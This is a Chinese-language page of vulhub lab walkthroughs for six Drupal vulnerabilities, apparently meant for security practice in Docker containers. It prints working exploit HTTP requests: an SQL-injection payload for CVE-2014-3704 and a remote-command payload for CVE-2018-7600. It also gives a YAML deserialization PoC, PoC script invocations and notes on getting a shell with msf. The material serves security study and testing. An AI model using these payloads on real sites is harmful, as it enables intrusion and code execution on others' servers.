vulhub"/>
vulhub
Drupal < 7.32 “Drupalgeddon” SQL注入漏洞(CVE-2014-3704)
Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。
漏洞环境
执行如下命令启动Drupal 7.31环境:
docker-compose up -d
环境启动后,访问http://your-ip:8080
即可看到Drupal的安装页面,使用默认配置安装即可。
其中,Mysql数据库名填写drupal
,数据库用户名、密码为root
,地址为mysql
:
安装完成后,访问首页:
漏洞复现
该漏洞无需认证,发送如下数据包即可执行恶意SQL语句:
POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
可见,信息已被爆出:
getshell
可以通過msf直接拿到shell
Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)
- 影响软件:Drupal
- 方式:反序列化
- 参考链接:CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造
- 效果:任意代码执行
漏洞环境
执行如下命令启动 drupal 8.3.0 的环境:
docker-compose up -d
环境启动后,访问 http://your-ip:8080/
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
漏洞复现
- 先安装
yaml
扩展
# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源
cat > sources.list << EOF
deb / jessie main non-free contrib
deb / jessie-updates main non-free contrib
deb / jessie-backports main non-free contrib
deb-src / jessie main non-free contrib
deb-src / jessie-updates main non-free contrib
deb-src / jessie-backports main non-free contrib
deb / jessie/updates main non-free contrib
deb-src / jessie/updates main non-free contrib
EOF
# 安装依赖
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安装yaml扩展
pecl install yaml
docker-php-ext-enable yaml.so
# 启用 yaml.decode_php 否则无法复现成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重启容器,CONTAINER换成自己的容器ID
docker restart CONTAINER
- 1.登录一个管理员账号
- 2.访问
http://127.0.0.1:8080/admin/config/development/configuration/single/import
- 3.如下图所示,
Configuration type
选择Simple configuration
,Configuration name
任意填写,Paste your configuration here
中填写PoC如下:
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
- 4.点击
Import
后可以看到漏洞触发成功,弹出phpinfo
页面。
- Tips:
- 虽然官方 CPE 信息显示从
8.0.0
开始就有该漏洞,但是在drupal:8.0.0
容器内并没有复现成功,相同操作在drupal:8.3.0
则可以复现成功,故基础镜像选择drupal:8.3.0
- 虽然官方 CPE 信息显示从
Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)
Drupal 是一款用量庞大的CMS,其6/7/8版本的Form API中存在一处远程代码执行漏洞。相关分析如下:
- /
漏洞环境
执行如下命令启动drupal 8.5.0的环境:
docker-compose up -d
环境启动后,访问http://your-ip:8080/
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
漏洞复现
参考a2u/CVE-2018-7600,我们向安装完成的drupal发送如下数据包:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
成功执行代码,这个代码最终执行了id命令:
getshell
可直接使用msf获取shell
Drupal 远程代码执行漏洞(CVE-2018-7602)
- 影响软件:drupal
- 方式:对URL中的#进行编码两次,绕过sanitize()函数过滤
- 效果:任意命令执行
漏洞环境
执行如下命令启动drupal 7.57的环境:
docker-compose up -d
环境启动后,访问 http://your-ip:8081/
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
漏洞复现
参考pimps/CVE-2018-7600的PoC。
如下图所示,执行以下命令即可复现该漏洞。示例命令为 id
,如图红框中显示,可以执行该命令。
# "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码
python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/
Drupal 远程代码执行漏洞(CVE-2019-6339)
- 影响软件:Drupal
- 方式:phar反序列化RCE
- 参考链接:Drupal 1-click to RCE 分析
- 效果:任意命令执行
漏洞环境
执行如下命令启动drupal 8.5.0的环境:
docker-compose up -d
环境启动后,访问 http://your-ip:8080/
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
漏洞复现
如下图所示,先使用管理员用户上传头像,头像图片为构造好的 PoC,参考thezdi/PoC的PoC。
Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/
,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。
访问 http://127.0.0.1:8080/admin/config/media/file-system
,在 Temporary directory
处输入之前上传的图片路径,示例为 phar://./sites/default/files/pictures/2019-06/blog-ZDI-CAN-7232-cat_0.jpg
,保存后将触发该漏洞。如下图所示,触发成功。
Drupal XSS漏洞(CVE-2019-6341)
- 影响软件:Drupal
- 方式:通过文件模块或者子系统上传恶意文件触发XSS漏洞
- 参考链接:Drupal 1-click to RCE 分析
- 效果:JS代码执行(Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等)
漏洞环境
执行如下命令启动drupal 8.5.0的环境:
docker-compose up -d
环境启动后,访问 http://your-ip:8080/
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
漏洞复现
该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞。
Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/
,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。
使用PoC上传构造好的伪造GIF文件,PoC参考thezdi/PoC的PoC。
如图,输入如下命令,即可使用PoC构造样本并完成上传功能,第一个参数为目标IP 第二个参数为目标端口。
php cve-2019-6341-exp.php 192.168.11.1 8080
上传成功后,访问图片位置,即可触发 XSS 漏洞,如下图所示。
Tips:
- 因为 Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证存在时可使用 Edge 浏览器或者 IE 浏览器。
- 访问的图片名称为_0的原因是因为 Drupal 的规则机制,具体原理见Drupal 1-click to RCE 分析
更多推荐
vulhub
发布评论